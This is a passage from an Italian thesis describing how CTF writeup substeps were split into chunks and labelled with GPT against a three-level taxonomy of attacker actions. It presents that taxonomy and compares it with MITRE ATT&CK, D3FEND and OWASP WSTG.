Un ulteriore problema emerso durante la fase di test riguarda l'overlapping tra le categorie. Questa sovrapposizione, che è intrinseca sia nei substep analizzati sia nelle categorie stesse, rappresenta una complicazione notevole. Spesso, diverse azioni, specialmente se considerate singolarmente e fuori dal loro contesto specifico, possono risultare difficili da categorizzare in maniera univoca, anche per un analista umano.

È importante sottolineare che la tassonomia sviluppata non è da considerarsi definitiva o esente da limitazioni. Sebbene presenti alcune problematiche e non sia perfetta, questa tassonomia costituisce comunque una base solida da cui partire per ricerche e sviluppi futuri. Tuttavia, queste limitazioni e le potenziali aree di miglioramento saranno approfondite in una sezione successiva dedicata specificamente a questo aspetto della ricerca.

### 3.3.6 Tassonomia ideale e considerazioni

Nell'ambito dello sviluppo di una tassonomia dettagliata per l'analisi dei writeup CTF, l'obiettivo ottimale consiste nel definire una struttura che sia sufficientemente approfondita e che, allo stesso tempo, mantenga una chiara distinzione tra le categorie di livello più basso. La sfida principale sta nel delineare queste categorie in modo tale che siano reciprocamente esclusive, riducendo al minimo l'overlapping e assicurando che i vincoli tra le diverse categorie siano nettamente definiti. Idealmente, il livello più profondo della tassonomia

dovrebbe consistere in un insieme di tecniche semi-atomiche che, pur essendo finemente categorizzate, rimangono distintamente separate le une dalle altre.

Per raggiungere questo obiettivo, è necessario intraprendere un'ulteriore fase di analisi e sviluppo della tassonomia. Con l'aggiunta di ulteriori dati, l'allocazione di più tempo e l'impiego di risorse più ampie, si potrebbero ottenere risultati notevolmente migliori. Questo processo richiederebbe un impegno costante nel raffinamento delle categorie esistenti e nell'esplorazione di nuove potenziali suddivisioni, sempre tenendo conto delle sfumature e delle peculiarità dei comportamenti osservati nei writeup.

Da una prospettiva personale, l'importanza di questa tassonomia trascende la semplice organizzazione dei dati: rappresenta un tentativo di codificare e sistematizzare la complessità dei comportamenti degli attaccanti in contesti CTF, un compito ambizioso ma fondamentale per avanzare nella comprensione e nella prevenzione delle minacce informatiche. Inoltre, una tassonomia ben definita e strutturata può servire da strumento didattico prezioso, fornendo una base per la formazione e la sensibilizzazione in ambito di sicurezza informatica.

La strada verso la realizzazione di una tassonomia ideale è impegnativa, ma i benefici potenziali in termini di ricerca, educazione e applicazione pratica sono importanti.

### 3.3.7 Riassunto dello sviluppo della tassonomia

- Preparazione dei dati
  - Estrazione. Acquisizione dei substep dai writeup CTF e salvataggio nel file "list\_substeps.json".
  - Mescolamento. Randomizzazione dell'ordine dei substep per prevenire bias nell'analisi, risultando nel file "list\_substeps\_mixed.json".
  - Suddivisione. Divisione del file mescolato in chunk di dimensioni gestibili per ottimizzare l'elaborazione di GPT.
- Categorizzazione iniziale
  - Raggruppamento con GPT. Utilizzo di GPT per classificare i substep in categorie rilevanti, salvando i risultati nei file "\*\_grouped.json".
  - Estrazione delle categorie. Identificazione e organizzazione delle categorie emergenti in nuovi insiemi di dati.
- Organizzazione gerarchica
  - Creazione di gerarchie. Analisi delle categorie con GPT per strutturare una gerarchia a due livelli, salvando i dati in "\*\_hierarchized.json".
  - Integrazione delle tassonomie. Combinazione delle tassonomie individuali in un insieme più completo mediante un processo ricorsivo.



- Metodo semi-automatizzato e revisione umana
  - Elaborazione IA. Sfruttamento delle capacità di GPT per l'organizzazione e la gerarchizzazione delle categorie.
  - Supervisione umana. Intervento umano per validare e raffinare la struttura tassonomica, assicurando precisione e coerenza.
- Finalizzazione della tassonomia
  - Affinamento delle categorie. Esclusione delle categorie non pertinenti e focalizzazione sul contesto specifico della sicurezza delle applicazioni web.
  - Strutturazione definitiva. Passaggio da una tassonomia a due livelli a una più complessa a tre livelli, per una migliore distinzione e organizzazione.

La tassonomia sviluppata per i writeup delle competizioni di Capture The Flag (CTF) rappresenta un passo fondamentale nella standardizzazione e nella categorizzazione delle azioni degli attaccanti. Questo strumento permette di superare le limitazioni precedenti, in particolare l'inconsistenza nell'etichettatura, offrendo un sistema di classificazione più coerente e affidabile.

L'analisi dei writeup di CTF attraverso questa tassonomia fornisce insight preziosi sui comportamenti e le strategie degli attaccanti in scenari che simulano contesti realistici. Questo include la comprensione del processo decisionale degli attaccanti, l'identificazione di tecniche e tattiche comuni e la rilevazione di pattern e vulnerabilità.

Con una tassonomia ben definita, è possibile eseguire analisi statistiche e qualitative più precise, migliorando la comprensione dei pattern comportamentali e delle strategie degli attaccanti. Questa struttura non solo è utile per analisi scientifiche ma si rivela anche un efficace strumento educativo per la formazione in ambito di sicurezza informatica.

## 3.4 Etichettatura dei dati

Per ottimizzare il processo di etichettatura dei substep dei writeup CTF, è stato implementato un metodo di suddivisione di questi file “\*\_substeps.json” in segmenti maneggevoli denominati “chunk”, dove ogni chunk rappresenta un singolo step con i suoi corrispondenti substep. Questa tecnica mirava a semplificare il compito per GPT, concentrandosi sulla riduzione della complessità e sull'aumento della precisione nell'analisi.

All'inizio, mediante l'uso di uno script Python, ogni file “\*\_substeps.json” è stato diviso in file più piccoli, ciascuno corrispondente ad uno step specifico del writeup. Questi file contenevano i substep che componevano ciascuno step del processo descritto nel writeup. Per organizzare questi file, è stata creata una cartella per ogni writeup, denominata “\*\_chunks”, dove i file divisi sono stati salvati. Ogni file conteneva informazioni dettagliate relative a un singolo step e ai suoi substep.

```

.
|--- body_count_original.md
|--- body_count_presteps.json
|--- body_count_steps.json
|--- body_count_substeps.json
'--- body_count_chunks/
    |----- body_count_chunk_01.json
    |----- body_count_chunk_02.json
    |----- body_count_chunk_03.json
    |----- body_count_chunk_04.json
    |----- body_count_chunk_05.json
    |----- body_count_chunk_06.json
    |----- body_count_chunk_07.json
    |----- body_count_chunk_08.json
    |----- body_count_chunk_09.json
    |----- body_count_chunk_10.json
    |----- body_count_chunk_11.json
    |----- body_count_chunk_12.json
    |----- body_count_chunk_13.json
    |----- body_count_chunk_14.json
    |----- body_count_chunk_15.json
    |----- body_count_chunk_16.json
    |----- body_count_chunk_17.json
    |----- body_count_chunk_18.json
    '----- body_count_chunk_19.json

```

**Figura 3.13:** Etichettatura dei dati - Divisione SubstepsModel in chunk

### 3.4.1 Etichettatura gerarchica

Per incrementare l'accuratezza nell'etichettatura dei substep da parte di GPT, il processo è stato strutturato su più livelli, rispettando la gerarchia della tassonomia. Inizialmente, si è sfruttata l'abilità di GPT nell'assegnare etichette partendo dalle categorie di base, migliorando la precisione e riducendo gli errori.

La tassonomia è stata dunque adattata per consentire a GPT di riconoscere e applicare le categorie di primo livello in modo efficace. Tale semplificazione ha notevolmente incrementato l'accuratezza dell'etichettatura, beneficiando delle capacità avanzate di GPT.

### 3.4.2 Processo di etichettatura incrementale con GPT

Nella procedura di etichettatura dei substep dei writeup CTF, è stato utilizzato GPT guidato da una tassonomia di base per assegnare etichette pertinenti a ciascun substep, concentrando l'attenzione sul loro significato essenziale. Le istruzioni dettagliate e la tassonomia di base sono state incluse nel prompt per assistere il modello nell'identificazione dell'etichetta più appropriata.

Una chiave "TaxonomyTier1" è stata aggiunta in ogni oggetto substep nel file JSON, con

il valore corrispondente alla categoria scelta da GPT come etichetta più adatta. I risultati sono stati poi salvati in file denominati “\*\_labelled\_tier1.json”, che rappresentano l’output dell’etichettatura per ciascun input.

L’uso di GPT in questo contesto ha rappresentato un passo fondamentale per un’analisi più strutturata e precisa dei comportamenti degli attaccanti nelle sfide CTF.

### 3.4.3 Processo di etichettatura secondaria e ternaria con GPT

Continuando il processo di etichettatura, si è proceduto con una seconda e terza fase, che miravano ad applicare i livelli più dettagliati della tassonomia sviluppata. Questi livelli successivi hanno permesso di assegnare etichette più specifiche e dettagliate.

#### Seconda fase di etichettatura

Nella seconda fase, GPT ha elaborato gli output “\*\_labelled\_tier1.json” per identificare le etichette di secondo livello. Ogni substep è stato quindi arricchito con una nuova chiave nel JSON, indicante la categoria di secondo livello assegnata da GPT. I risultati sono stati salvati con lo stesso formato della prima etichettatura, ma riflettendo un maggior grado di specificità.

#### Terza fase di etichettatura

Infine, nella terza fase, è stata utilizzata la tassonomia di terzo livello, partendo dai file “\*\_labelled\_tier2.json”. In questo stadio, il processo stratificato ha garantito un’etichettatura ancora più dettagliata e congruente con le azioni dei substep.

Questo metodo di etichettatura incrementale ha permesso una categorizzazione estremamente precisa dei substep, sfruttando appieno la tassonomia a diversi livelli. L’approccio graduale ha assicurato l’applicazione efficace di ogni livello, riducendo il rischio di errori e incrementando la pertinenza delle etichette.

### 3.4.4 Composizione del file etichettato finale

Il file finale, “\*\_labelled.json”, è il risultato dell’unione di tutte le etichettature, offrendo una visione completa delle azioni e strategie degli attaccanti. Uno script Python ha automatizzato l’aggregazione dei dati dai file “\*\_labelled\_tier3.json” in un documento JSON strutturato, mantenendo l’ordine e la sequenza originale dei substep.

L'approccio sistematico adottato per la raccolta e l'archiviazione dei substep etichettati in un file unificato ha permesso la creazione di un dataset coerente e strutturato, facilitando l'utilizzo per analisi future nel campo della sicurezza informatica e nelle competizioni CTF.

### 3.4.5 Verifica e validità delle etichette

La verifica e la validità delle etichette assegnate ai substep da GPT hanno richiesto una revisione manuale accurata, garantendo così l'affidabilità del processo di etichettatura. Per assicurare questa precisione, è stata selezionata una serie rappresentativa di campioni in ogni fase dell'etichettatura. Questo controllo ha permesso di valutare la correttezza e la pertinenza delle etichette applicate dal modello di intelligenza artificiale.

Durante la revisione, si è proceduto all'analisi attenta dei campioni selezionati per verificare la congruenza delle etichette con il contenuto e il contesto dei substep. Questo controllo manuale ha fornito un livello di validazione supplementare rispetto all'automazione. In caso di rilevamento di errori o imprecisioni nelle etichette assegnate da GPT, si è intervenuti con una correzione manuale, sostituendo l'etichetta errata con una più adatta, basata su una comprensione approfondita del contesto e del significato dei substep.

Il processo di etichettatura ha presentato diverse sfide, tra cui la variazione nelle interpretazioni di GPT, specialmente in presenza di substep ambigui o suscettibili di rientrare in più categorie. Questo ha richiesto un'attenzione particolare durante la revisione manuale per assicurare che le etichette assegnate riflettessero accuratamente il contenuto dei substep.

In conclusione, l'abbinamento dell'automazione avanzata con una meticolosa revisione manuale è stato essenziale per assicurare l'accuratezza delle etichette assegnate ai substep. Questo approccio ibrido ha permesso di superare le sfide legate all'interpretazione automatica dei dati, garantendo un dataset finale preciso, coerente e affidabile.

### 3.4.6 Riassunto dell'etichettatura dei dati

Il processo di etichettatura dei dati, in particolare dei substep estratti dai writeup delle competizioni di Capture The Flag (CTF), rappresenta una fase cruciale della presente ricerca. Questo processo ha avuto un impatto diretto sull'accuratezza e sulla rilevanza delle analisi condotte, contribuendo significativamente al raggiungimento degli obiettivi della tesi.

- Suddivisione dei substep in segmenti (chunk)
  - Obiettivo: ridurre la complessità dei task per GPT, mirando a migliorare la precisione dell'etichettatura.

- Metodologia: utilizzo di uno script Python per dividere il file “\*\_substeps.json” in segmenti più piccoli, ciascuno corrispondente a un singolo step.
- Organizzazione: creazione di cartelle specifiche per ogni writeup per organizzare i file divisi.
- Etichettatura effettuata per livelli
  - Primo livello: utilizzo di GPT per etichettare i substep basandosi sul primo livello della tassonomia sviluppata.
  - Secondo e terzo livello: implementazione di fasi separate di etichettatura, applicando rispettivamente il secondo e terzo livello della tassonomia.
- Verifica e validità delle etichette
  - Revisione manuale: selezione di campioni per la revisione e la verifica manuale dell’accuratezza delle etichette assegnate da GPT.
  - Correzione: modifica manuale delle etichette in caso di errori o imprecisioni.
- Generazione del file etichettato
  - Unione dei file etichettati: aggregazione dei substep etichettati in un unico file “\*\_labelled.json”.
  - Risultato finale: un dataset complessivo e strutturato, pronto per analisi ulteriori.

L’etichettatura dei substep ha reso possibile un’analisi più strutturata e profonda dei comportamenti degli attaccanti, rivelando pattern specifici e offrendo insight preziosi. L’analisi basata sui dati etichettati ha permesso di identificare le tecniche e le strategie ricorrenti utilizzate dagli attaccanti, fornendo una visione più chiara delle loro abitudini e metodologie. Questi dati etichettati serviranno come fondamento per ricerche future e per lo sviluppo di strategie di difesa più efficaci nella sicurezza informatica.

In sintesi, l’approccio sistematico adottato nel processo di etichettatura dei substep ha giocato un ruolo cruciale nell’arricchire l’analisi dei dati e nel migliorare la comprensione dei comportamenti degli attaccanti nelle sfide CTF. Questo metodo ha aperto la strada a un’analisi più sofisticata e dettagliata, contribuendo significativamente alla ricerca nel campo della sicurezza informatica.

## Capitolo 4

# Risultati e discussione

### 4.1 Validazione empirica dei risultati

La validazione empirica nel contesto di questa ricerca ha giocato un ruolo fondamentale nel garantire l'efficacia e la coerenza dei risultati ottenuti. Data la natura innovativa del progetto, non esistevano metriche standard predefinite per valutare i risultati. Pertanto, la validazione è stata guidata da un approccio pragmatico, basato sui risultati, sulle risorse impiegate e sul tempo a disposizione per completare il lavoro di ricerca.

#### 4.1.1 Metodologia di validazione empirica

Il processo di validazione empirica è stato integrato in ogni fase del progetto di ricerca:

- **Raccolta dei dati.** Durante la fase di raccolta dati, si sono effettuati controlli periodici per assicurare che i dati raccolti fossero pertinenti, affidabili e sufficientemente rappresentativi del fenomeno in esame. Questo ha incluso la verifica della qualità e della varietà delle fonti utilizzate.
- **Elaborazione dei dati.** In questa fase, si è proceduto con un'attenta analisi dei dati, valutando la loro coerenza e applicabilità rispetto agli obiettivi della ricerca. Si è verificato che l'elaborazione dei dati seguisse un approccio logico e metodologico.
- **Sviluppo della tassonomia.** Per lo sviluppo della tassonomia, si è adottato un processo iterativo di revisione e adattamento. Ogni categoria e sotto-categoria è stata esaminata per garantire che riflettesse accuratamente gli aspetti chiave delle competizioni CTF e delle strategie di sicurezza informatica.

- **Etichettatura dei dati.** L'etichettatura dei dati è stata soggetta a frequenti revisioni per assicurare che le assegnazioni fossero corrette e pertinenti. In questo stadio, si è prestata particolare attenzione a mantenere l'allineamento con la struttura della tassonomia sviluppata.

#### 4.1.2 Punti di controllo e verifica dell'andamento

In ogni fase del progetto, sono stati stabiliti punti di controllo per valutare l'andamento della ricerca. Prima di procedere a ogni nuovo step, i risultati ottenuti nello step attuale sono stati sottoposti a un rigoroso esame. Questo approccio ha permesso di identificare tempestivamente eventuali incoerenze o deviazioni dagli obiettivi stabiliti, garantendo così una progressione logica e coerente del lavoro.

#### 4.1.3 Prospettiva di validazione preliminare

È importante sottolineare che questa validazione empirica può essere considerata preliminare. La ricerca presentata costituisce il punto di partenza di un progetto più ampio, che si prevede verrà sviluppato ulteriormente in futuro. Pertanto, i risultati e le metodologie adottate in questa fase iniziale fungono da fondamento per successive indagini e approfondimenti. Si anticipa che, con l'evoluzione del progetto e l'emergere di nuove prospettive e dati, saranno necessarie ulteriori fasi di validazione e ricalibrazione.

### 4.2 Risultati dello sviluppo della tassonomia

1. Web Interaction and Navigation
  - 1.1 Webpage Interaction
    - 1.1.1 Webpage Access
    - 1.1.2 Webpage Elements Interaction and Testing
    - 1.1.3 Webpage Content Observation and Understanding
  - 1.2 Browser and Client-Side Interaction
    - 1.2.1 Browser Access
    - 1.2.2 Client-Side Code Manipulation and Testing
    - 1.2.3 Browser Extension Utilization
  - 1.3 URL Interaction
    - 1.3.1 URL Manipulation and Testing
    - 1.3.2 URL Navigation Observation and Understanding
2. Network and Communication Analysis
  - 2.1 Network Analysis
    - 2.1.1 Network Traffic Monitoring and Analysis
    - 2.1.2 Protocol Examination
    - 2.1.3 Service and Infrastructure Analysis
  - 2.2 HTTP Communication Management
    - 2.2.1 HTTP Request-Response Crafting and Transmission
    - 2.2.2 HTTP Request-Response Inspection and Manipulation
    - 2.2.3 HTTP Flow Observation and Understanding

- 3. System Profiling and Analysis
  - 3.1 System Structure Analysis
    - 3.1.1 File and Directory Discovery
    - 3.1.2 Endpoint and Subdomain Discovery
    - 3.1.3 Cloud Infrastructure Discovery
  - 3.2 System Composition Analysis
    - 3.2.1 System Fingerprinting and Identification
    - 3.2.2 System Configuration Analysis
    - 3.2.3 Service and API Profiling
- 4. Authentication and Authorization Management
  - 4.1 Authentication Process Handling
    - 4.1.1 Authentication Process Interaction and Testing
    - 4.1.2 Authentication Process Observation and Understanding
    - 4.1.3 Multi-Factor Authentication Analysis
  - 4.2 Access Control Security
    - 4.2.1 Access Control Mechanism Analysis
    - 4.2.2 Access Control Bypass Techniques
  - 4.3 Credential Management
    - 4.3.1 Token and Cookie Management
    - 4.3.2 Credentials Discovery
- 5. Data Management
  - 5.1 Data Leakage and Extraction
    - 5.1.1 Information Leakage and Extraction
    - 5.1.2 Sensitive Data Leakage and Extraction
    - 5.1.3 Flag Data Leakage and Extraction
  - 5.2 Data Analysis
    - 5.2.1 Information Analysis
    - 5.2.2 Sensitive Data Analysis
    - 5.2.3 Flag Data Analysis
- 6. Cryptography and Encoding Management
  - 6.1 Cryptographic Data Transformation
    - 6.1.1 Data Encoding/Decoding
    - 6.1.2 Data Encryption/Decryption
  - 6.2 Cryptographic Analysis and Exploitation
    - 6.2.1 Cryptographic Protocol Analysis
    - 6.2.2 Cryptographic Algorithm/Key Identification and Analysis
    - 6.2.3 Cryptographic Exploitation Techniques
- 7. Vulnerability and Exploitation Management
  - 7.1 Vulnerability Assessment
    - 7.1.1 Security Policy/Mechanism Identification
    - 7.1.1 Vulnerability Identification
  - 7.2 Exploitation Techniques and Payload Management
    - 7.2.1 Exploitation Payload Crafting and Distribution
    - 7.2.2 Exploitation Payload Execution
    - 7.2.3 Security Policy/Mechanism Bypass
- 8. Database and File System Interaction
  - 8.1 Database Interaction and Exploration
    - 8.1.1 Database Access and Exploration
    - 8.1.2 Database Structure Observation and Understanding
  - 8.2 File System Interaction and Exploration
    - 8.2.1 File System Access and Navigation
    - 8.2.2 File Transferring
- 9. Tool Utilization and Scripting
  - 9.1 Tool Management
    - 9.1.1 Tool Configuration and Setup
    - 9.1.2 Tool Utilization
  - 9.2 Scripting and Automation Management
    - 9.2.1 Script Development
    - 9.2.2 Script Execution
    - 9.2.3 Command-Line Operations



10.	Knowledge Management and Learning
10.1	Online Research and Education
10.1.1	Official Documentation Review
10.1.2	Community-Sourced Security Learning
11.	Challenge and Strategy Management
11.1	Challenge Management
11.1.1	Challenge Environment Setup
11.1.2	Challenge Clues Observation and Understanding
11.2	Gameplay Strategy Management
11.2.1	Gameplay Strategy Formulation
11.2.2	Gameplay Strategy Documentation
12.	Code Analysis and Debugging
12.1	Debugging Techniques
12.1.1	Code Review and Analysis
12.1.2	Code Execution and Behavior Review
12.1.3	Error Identification and Analysis

**Listing 4.1:** Risultati e Discussione - Tassonomia Sviluppata

La tassonomia sviluppata per l'analisi dei comportamenti degli attaccanti nelle competizioni di Capture The Flag (CTF) offre una struttura complessa e dettagliata, che si estende attraverso diverse aree della sicurezza informatica.

Ecco un'analisi approfondita di ogni categoria principale e delle sue sotto-categorie:

- **Web Interaction and Navigation:**

- **Webpage Interaction.** Include l'accesso a pagine web, interazione con elementi web e osservazione del contenuto, riflettendo le tecniche di indagine e manipolazione delle pagine.
- **Browser and Client-Side Interaction.** Copre l'uso del browser, la manipolazione del codice lato client e l'utilizzo di estensioni del browser, rappresentando la sfera dell'interazione diretta con l'ambiente del client.
- **URL Interaction.** Si concentra sulla manipolazione e analisi degli URL, un elemento chiave nell'esplorazione e sfruttamento di siti web.

- **Network and Communication Analysis:**

- **Network Analysis.** Riguarda il monitoraggio e l'analisi del traffico di rete e dei servizi, rilevante per l'identificazione di punti deboli e la raccolta di informazioni su una rete.
- **HTTP Communication Management.** Si occupa della gestione delle comunicazioni HTTP, inclusa la creazione e l'analisi di richieste e risposte HTTP, essenziale per comprendere le interazioni tra client e server.

- **System Profiling and Analysis:**

- **System Structure Analysis.** Affronta la scoperta di file, endpoint e infrastrutture cloud, focalizzandosi sull'esplorazione e mappatura di un sistema.

- **System Composition Analysis.** Copre il fingerprinting dei sistemi, l'analisi delle configurazioni e il profiling dei servizi e delle API, aspetti cruciali per capire la composizione e le vulnerabilità di un sistema.
- **Authentication and Authorization Management:**
  - **Authentication Process Handling.** Tratta l'interazione con i processi di autenticazione, un elemento fondamentale nelle sfide CTF riguardanti la sicurezza delle applicazioni web.
  - **Access Control Security.** Analizza i meccanismi di controllo degli accessi e le tecniche per aggirarli, un aspetto chiave nella violazione delle misure di sicurezza.
  - **Credential Management.** Includendo la gestione di token e cookie e la scoperta delle credenziali, questa sottocategoria si concentra su un elemento cruciale delle strategie di attacco.
- **Data Management:**
  - **Data Leakage and Extraction.** Affronta la fuga e l'estrazione di informazioni, dati sensibili e dati di flag, temi comuni nelle sfide CTF.
  - **Data Analysis.** Riguarda l'analisi di varie forme di dati, un passaggio necessario per comprendere e sfruttare le informazioni raccolte.
- **Cryptography and Encoding Management:**
  - **Cryptographic Data Transformation.** Copre l'encoding/decoding e la crittografia/decriptazione, tecniche spesso utilizzate per proteggere o scoprire informazioni sensibili.
  - **Cryptographic Analysis and Exploitation.** Include l'analisi dei protocolli crittografici e delle tecniche di sfruttamento, fondamentali per bypassare o sfruttare sistemi crittografici.
- **Vulnerability and Exploitation Management:**
  - **Vulnerability Assessment.** Si concentra sull'identificazione di vulnerabilità e politiche/meccanismi di sicurezza, essenziale per pianificare attacchi efficaci.
  - **Exploitation Techniques and Payload Management.** Riguarda la creazione e l'esecuzione di payload di exploitation e il bypass delle misure di sicurezza, rappresentando il cuore delle attività di sfruttamento.
- **Database and File System Interaction:**
  - **Database Interaction and Exploration.** Tratta l'accesso e l'esplorazione di database, un'area importante per comprendere e manipolare le risorse dati.
  - **File System Interaction and Exploration.** Copre l'interazione con i sistemi di file, inclusa la navigazione e il trasferimento di file, elementi chiave in numerose sfide CTF.

- **Tool Utilization and Scripting:**

- **Tool Management.** Riguarda la configurazione e l'uso di strumenti, una competenza fondamentale per l'attaccante moderno.
- **Scripting and Automation Management.** Si concentra sullo sviluppo e l'esecuzione di script e operazioni da riga di comando, essenziale per l'automazione e l'efficienza degli attacchi.

- **Knowledge Management and Learning:**

- **Online Research and Education.** Include la revisione della documentazione ufficiale e l'apprendimento dalla comunità, riconoscendo l'importanza dell'educazione e della ricerca continua.

- **Challenge and Strategy Management:**

- **Challenge Management.** Affronta l'allestimento dell'ambiente di sfida e l'osservazione dei suggerimenti, un passaggio importante nella preparazione per una sfida CTF.
- **Gameplay Strategy Management.** Si concentra sulla formulazione e documentazione delle strategie di gioco, aspetti cruciali per il successo nelle competizioni.

- **Code Analysis and Debugging:**

- **Debugging Techniques.** Copre la revisione e l'analisi del codice, l'analisi dell'esecuzione del codice e l'identificazione degli errori, competenze vitali per comprendere e manipolare applicazioni software.

Questa tassonomia rappresenta un approccio sistematico e completo all'analisi dei comportamenti degli attaccanti nelle competizioni CTF, offrendo una struttura dettagliata per categorizzare un'ampia gamma di tecniche e strategie. Attraverso questa tassonomia, si ottiene una migliore comprensione delle dinamiche di attacco e difesa nel contesto delle sfide CTF, contribuendo così significativamente al campo della sicurezza informatica.

#### 4.2.1 Confronto con MITRE ATT&CK e D3FEND

Per confrontare la tassonomia sviluppata per l'analisi dei comportamenti degli attaccanti nelle competizioni di Capture The Flag (CTF) con le tassonomie MITRE ATT&CK e MITRE D3FEND, è fondamentale esaminare le differenze e le somiglianze nei loro approcci, ambiti di applicazione, e struttura. Ecco una panoramica dettagliata del confronto:

- **Obiettivo e ambito di applicazione**

- La tassonomia CTF è specificamente orientata alle competizioni CTF, con un'enfasi sulla sicurezza delle applicazioni web e interazioni di rete.
- MITRE ATT&CK mappa le tattiche e tecniche utilizzate in attacchi informatici reali, offrendo una panoramica ampia e variegata.
- MITRE D3FEND si focalizza sulle contromisure e pratiche di difesa in risposta alle tecniche mappate da ATT&CK.

- **Struttura e dettaglio**

- La tassonomia CTF è strutturata in categorie e sotto-categorie dettagliate, specifiche per i comportamenti e le tecniche nelle CTF.
- MITRE ATT&CK è organizzato in una matrice di tattiche e tecniche, consentendo un'ampia visione delle strategie di attacco.
- MITRE D3FEND presenta un elenco di contromisure correlate alle tecniche di ATT&CK, con un approccio orientato alla difesa.

- **Focus e specificità**

- La tassonomia CTF si concentra su aspetti specifici delle competizioni CTF, come la gestione della sicurezza nelle applicazioni web.
- MITRE ATT&CK abbraccia una gamma diversificata di attività di attacco, coprendo vari aspetti di un cyber attacco.
- MITRE D3FEND dettaglia specifiche tecniche difensive, con un'enfasi sulla protezione e mitigazione degli attacchi.

- **Applicabilità e utilizzo**

- La tassonomia CTF è particolarmente utile per analizzare le competizioni CTF e per scopi educativi.
- MITRE ATT&CK è ampiamente utilizzato per la pianificazione della sicurezza informatica e la formazione in ambito aziendale e governativo.
- MITRE D3FEND fornisce riferimenti per lo sviluppo di strategie di difesa informatica e per la formazione su tecniche di sicurezza.

- **Profondità e granularità**

- La tassonomia CTF offre un'analisi dettagliata e granulare delle tecniche specifiche nelle CTF.
- MITRE ATT&CK offre una visione olistica e multidimensionale delle tecniche di attacco, con variazioni di profondità.
- MITRE D3FEND si focalizza su contromisure specifiche, fornendo dettagli granulari sulle tecniche di difesa.

In sintesi, la tassonomia sviluppata si rivela estremamente specifica e dettagliata per le competizioni di Capture The Flag, mentre MITRE ATT&CK fornisce una visione globale degli attacchi informatici. MITRE D3FEND, invece, si posiziona come un complemento a ATT&CK, focalizzandosi sulle tecniche difensive. Questo confronto sottolinea come differenti tassonomie possano servire scopi diversi, offrendo un insieme di strumenti utili per l'analisi, la pianificazione strategica, e la formazione nel campo della sicurezza informatica.

#### 4.2.2 Confronto con OWASP WSTG

- **Obiettivo e ambito di applicazione**

- La tassonomia CTF si concentra specificatamente sulle tecniche e strategie utilizzate nelle competizioni CTF, con particolare attenzione alle applicazioni web e interazioni di rete.
- OWASP WSTG fornisce una guida completa per il testing della sicurezza delle applicazioni web, coprendo aspetti pratici e metodologici.

- **Struttura e dettaglio**

- La tassonomia CTF è strutturata in categorie e sotto-categorie che riflettono dettagliatamente i vari aspetti delle competizioni CTF.
- OWASP WSTG è organizzato in sezioni che trattano diversi aspetti del testing di sicurezza, come autenticazione, gestione delle sessioni, crittografia, ecc.

- **Focus e specificità**

- La tassonomia CTF si focalizza su azioni e decisioni specifiche degli attaccanti nelle CTF, esaminando sia le tecniche offensive che le strategie di difesa.
- OWASP WSTG si concentra su tecniche di testing specifiche per identificare vulnerabilità nelle applicazioni web, fornendo linee guida dettagliate e consigli pratici.

- **Applicabilità e utilizzo**

- La tassonomia CTF è utile per analizzare e comprendere i comportamenti degli attaccanti in un contesto competitivo e formativo.
- OWASP WSTG è principalmente uno strumento di riferimento per professionisti della sicurezza e sviluppatori web che si occupano di testare e migliorare la sicurezza delle applicazioni web.

- **Profondità e granularità**

- La tassonomia CTF offre un'analisi granulare dei comportamenti e delle tecniche, con una dettagliata classificazione delle azioni degli attaccanti.

- OWASP WSTG, pur avendo una struttura comprensiva, si concentra maggiormente su aspetti tecnici e pratici del testing, con una granularità mirata alle vulnerabilità e tecniche di test specifiche.

In conclusione, mentre la tassonomia CTF fornisce un quadro dettagliato delle tecniche e strategie utilizzate nelle competizioni CTF, OWASP WSTG offre un approccio più orientato alla pratica e al testing per l'identificazione di vulnerabilità nelle applicazioni web. Entrambi gli strumenti sono preziosi nel loro contesto, con la tassonomia CTF che si rivela utile per l'analisi comportamentale in un contesto competitivo, e OWASP WSTG che serve come una guida essenziale per il testing della sicurezza delle applicazioni web.

### 4.3 Analisi dei risultati dello sviluppo della tassonomia

L'interpretazione e il significato dei risultati ottenuti dalla tassonomia sviluppata per le competizioni di Capture The Flag (CTF) hanno implicazioni profonde sia per il campo della sicurezza informatica che per le competizioni CTF stesse. La tassonomia, che si estende attraverso diverse aree come l'interazione web, l'analisi di rete, la gestione della crittografia e oltre, fornisce una comprensione dettagliata delle competenze e delle strategie impiegate dagli attaccanti e dai difensori nel contesto dinamico e impegnativo delle CTF.

- **Web Interaction and Navigation.** Questa categoria evidenzia l'importanza della competenza nell'interazione con pagine web, browser e URL nel contesto della sicurezza informatica. Le competizioni CTF spesso simulano scenari realistici dove la capacità di navigare e manipolare aspetti web è cruciale. Questo sottolinea la necessità di una solida comprensione dei principi web fondamentali e della sicurezza client-side nelle formazioni sulla sicurezza informatica.
- **Network and Communication Analysis.** La capacità di analizzare il traffico di rete, gestire la comunicazione HTTP e comprendere i protocolli sottolinea l'importanza dell'analisi di rete nelle CTF. Questo riflette la realtà che gli esperti di sicurezza devono essere in grado di monitorare e comprendere il traffico di rete per identificare e mitigare le minacce in tempo reale.
- **System Profiling and Analysis.** L'identificazione delle configurazioni di sistema, l'analisi delle infrastrutture e la scoperta di file e directory sono abilità cruciali nelle competizioni CTF, sottolineando l'importanza di una comprensione approfondita dei sistemi bersaglio. Questo rafforza l'idea che la conoscenza dettagliata dei sistemi operativi e delle configurazioni di rete è vitale per la sicurezza informatica.
- **Authentication and Authorization Management.** La gestione di autenticazione, autorizzazione e controllo degli accessi è fondamentale sia nelle CTF che nella pratica

della sicurezza informatica. Ciò implica che una solida comprensione dei meccanismi di autenticazione e autorizzazione, nonché delle tecniche per eluderli o rafforzarli, è essenziale per i professionisti della sicurezza.

- **Data Management.** Nel contesto delle CTF, la gestione dei dati sottolinea l'importanza di identificare, estrarre e analizzare efficacemente dati di varia natura. Questa categoria riflette la necessità per i professionisti della sicurezza di gestire dati sensibili e complessi, evidenziando la sicurezza dei dati e le competenze analitiche come aspetti cruciali nel campo della sicurezza informatica.
- **Cryptography and Encoding Management.** La crittografia e l'encoding sono fondamentali nelle CTF e nella sicurezza informatica. Questa categoria si concentra sulla trasformazione, analisi e sfruttamento dei dati crittografici, dimostrando l'importanza della padronanza di queste tecniche per la protezione delle informazioni e il superamento di sistemi protetti.
- **Vulnerability and Exploitation Management.** L'identificazione e l'exploitazione delle vulnerabilità sono aspetti centrali delle CTF e sono direttamente trasferibili nel mondo reale della sicurezza informatica. Ciò sottolinea l'importanza di una formazione continua sulla scoperta di vulnerabilità e lo sviluppo di tecniche di exploit.
